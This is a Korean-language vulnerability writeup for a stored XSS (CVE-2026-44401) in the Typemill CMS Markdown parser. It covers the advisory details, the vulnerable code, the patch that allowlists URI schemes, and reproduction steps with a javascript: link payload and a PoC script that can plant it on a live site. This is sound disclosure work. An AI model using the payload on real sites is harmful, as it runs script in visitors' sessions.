
Typemill CMS의 지속형 XSS: 마크다운 파서가 javascript: URI를 필터링 없이 통과시킵니다. Writeup + PoC.
| CVE | CVE-2026-44401 |
| CWE | CWE-79 (웹 페이지 생성 중 입력의 부적절한 중화) |
| 영향받는 버전 | typemill/typemill >= 2.0.0, < 2.23.0 |
| 수정 버전 | v2.23.0 (커밋 31b72ea) |
| 인증 필요 | 예. system:update ACL 권한이 있는 모든 역할 (기본적으로 admin 또는 manager) |
| CVSS (보고자) | 7.6 / 중간-높음 |
| CVSS-B (VulnCheck, v4.0) | 4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L |
| 발견자 | sn0x (@sn0x-sharma) |
| 권고 | VulnCheck |
Critical이 아닌 Medium으로 평가된 이유는
PR:H(테마 설정 권한)와UI:A(피해자가 링크를 클릭해야 함)가 필요하기 때문입니다. 그러나 페이로드는 *저장형(stored)*이므로 링크를 클릭하는 모든 방문자에게 실행됩니다.
Typemill은 플랫 파일(flat-file) 기반 Markdown CMS입니다. Typemill의 Markdown 파서는 링크 대상을 href 속성에 기록하기 전에 URI 스킴을 검증하지 않습니다. 테마 구성 권한이 있는 사용자(예: 원시 Markdown을 허용하는 Landingpage Intro Segment 텍스트 필드)는 javascript: 링크를 저장할 수 있습니다. 이 링크는 공개 홈페이지에서 이스케이프되지 않은 채 렌더링되며, 클릭하는 모든 사용자의 브라우저에서 실행되어 지속적(저장형) XSS가 됩니다.
ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, 934–996행 (v2.22.0, 마지막 취약 태그).
상대 링크와 media/ 링크에는 기본 URL 접두사가 추가되지만, href에 할당되기 전에 URI 스킴을 검사하는 부분은 없습니다:
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
$href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
$href = $this->baseUrl . '/' . $href;
}
# end typemill
$Element['attributes']['href'] = $href; // <-- no scheme validation
[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.
이 특정 싱크(sink)에 대한 렌더링 경로: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. 동일한 파서를 통해 사용자 Markdown을 처리하는 다른 테마 필드도 동일하게 영향을 받습니다.
# end typemill
-
+
+ # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+ $scheme = parse_url($href, PHP_URL_SCHEME);
+ if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+ {
+ $href = '#';
+ }
+
$Element['attributes']['href'] = $href;
원본 보고서에서 제안된 것과 동일한 허용 목록(http, https, mailto, ftp)입니다. v2.22.0 태그와 v2.23.0 태그 간 ParsedownExtension.php의 diff로 확인되었습니다.
테마 설정 라우트(GET /tm/themes, POST /api/v1/theme)는 system/update ACL 리소스로 접근이 제한됩니다. Typemill 자체 라우트 정의(routes/web.php, routes/api.php)에 따르면 이 권한은 기본적으로 admin뿐만 아니라 manager 역할에도 부여됩니다. 따라서 노출 범위는 최상위 관리자 계정에만 국한되지 않습니다.
테마 구성 권한이 있는 사용자로 로그인 → System → Themes → Configure(활성 테마, 예: Cyanine).
Landingpage Intro Segment를 펼친 다음 **"랜딩페이지 인트로 텍스트(markdown 사용)"**에 다음을 입력합니다:
[Click me](javascript:alert(document.domain))
저장합니다. 아무 사용자로 홈페이지를 방문하여 링크를 클릭하면 해당 방문자의 세션에서 JS가 실행됩니다.
CVE-2026-44401_POC.py - 두 가지 모드:
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill
# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html
# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
--username admin --password '********'
최소 수동 재현(보고서 검증에 사용된 방법):
php -r '
require "vendor/autoload.php";
require "system/typemill/Extensions/ParsedownExtension.php";
$p = new \Typemill\Extensions\ParsedownExtension("",[],null);
echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched: <p><a href="#">x</a></p>